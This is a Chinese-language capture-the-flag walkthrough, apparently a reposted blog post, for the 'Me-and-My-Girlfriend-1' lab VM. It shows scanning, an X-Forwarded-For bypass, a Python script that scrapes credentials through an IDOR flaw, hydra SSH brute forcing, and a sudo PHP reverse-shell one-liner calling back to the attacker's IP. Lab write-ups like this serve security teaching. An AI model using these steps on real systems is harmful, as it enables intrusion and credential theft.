Me-and-My-Girlfriend-1

天行健,君子以自强不息
地势坤,君子以厚德载物

环境准备

Kali Linux(IP:10.10.16.128)
Me-and-My-Girlfriend-1 虚拟机
NAT 网络连接

主机发现

fping -g 10.10.16.0/24

得到靶机的 IP:10.10.16.148
在这里插入图片描述

端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.148

靶机开放 22/80 端口
在这里插入图片描述

目录爆破

dirb http://10.10.16.148
nikto -h 10.10.16.148

得到目录:misc,config;文件:robots.txt,icons/README,heyhoo.txt
在这里插入图片描述
在这里插入图片描述

漏洞挖掘

① 访问目录

  1. robots.txt
    发现一个可访问的文件 heyhoo.txt
    在这里插入图片描述
  2. heyhoo.txt
    提示要 getshell
    在这里插入图片描述
  3. index.php
    在这里插入图片描述
  4. 查看网页源代码
    在这里插入图片描述
  5. HTTP X-Forwarded-For

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
X-Forwarded-For: client, proxy1, proxy
XFF 的内容由(英文逗号+空格)隔开的多个部分组成,最开始的是离服务端最远的设备 IP,然后是每一级代理设备的 IP

② 绕过限制

由首页的提示可以知道,访问该网站的 HTTP 请求端的真实 IP 是本地地址(locahost/127.0.0.1),可以有两种解决姿势。

burpsuite 在请求包添加 X-Forwarded-For:127.0.0.1 (每次访问都要添加)
插件添加:X-Forwarded,Modify Headers 等插件都可以为 HTTP 头部添加内容

这里使用 Modify Headers 插件
在这里插入图片描述
对 Login,Register,About 进行漏洞挖掘,SQL 注入,弱口令都无果,注册一个用户,信息任意。
在这里插入图片描述
注册后登录,发现一个 profile 链接,点击进去可以查看自己注册的信息,同时注意到 URL 中的 user_id ,尝试修改 user_id 的值,发现可以越权查看其他用户的值,说明此处存在一个水平越权的逻辑漏洞。
在这里插入图片描述
在这里插入图片描述

漏洞利用

  1. 利用以上的逻辑漏洞,可以修改 user_id 的值得到其他用户的帐密,然后记录下来。这里借鉴下他人的脚本。
import requests
from bs4 import BeautifulSoup
 
if __name__ == '__main__':
    for user_id in range(1, 12):
        url = 'http://10.10.16.148/index.php?page=profile&user_id=' + str(user_id)
        response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=lit82unc72nj00iujm8q7an135'})
        dom = BeautifulSoup(response.content.decode('UTF-8'),"lxml")
 
        username = dom.find('input', id='username')['value']
        passwd = dom.find('input', id='password')['value']
 
        if username:
            print(username + ":" + passwd)

在这里插入图片描述

  1. 将得到的帐密保存在 zhutou.txt 文件中,字典格式为:账号:密码,使用 hydra 进行 ssh 登录爆破,得到一个可用帐密:alice/4lic3
hydra -C /文件目录/zhutou.txt ssh://10.10.16.148

在这里插入图片描述

  1. ssh 登录之后进入网站的根目录,可以看到在信息收集截断的目录爆破得到的一些目录和文件,打开 /config/config.php 得到数据库连接的设置:数据库登录的帐密和当前的数据库。
    登录数据库,查询信息,得到用户的帐密,除此之外没有其他有效信息。
    在这里插入图片描述

  2. ls -la 查看所有信息,包括隐藏的目录/文件,得到 .my_secret 文件夹
    在这里插入图片描述

  3. 进入 .my_secret 文件夹得到 flag1.txt
    在这里插入图片描述

提权

① 直接提权 su

由前面 config.php 的帐密:root/ctf_pasti_bisa 登录
在这里插入图片描述

② 反弹 shell 提权

  1. 查看当前可以以 root 权限执行的命令,发现可以免密使用 root 权限执行 sudo + php 的相关命令。
sudo -l

在这里插入图片描述

  1. 在 Kali 先监听端口
nc -lvnp 6666
  1. 在靶机的 Alice 用户下创建一个 PHP 反弹 shell,指定 Kali 的 IP 和监听的端口,回车之后即可反弹 shell。
sudo /usr/bin/php -r '$sock=fsockopen("10.10.16.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

在这里插入图片描述

总结

当然,还有其他的方法反弹 shell 。

                                                                                                                                          猪头
                                                                                                                                        2020.3.3
发布了51 篇原创文章 · 获赞 4 · 访问量 2739

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104640908
me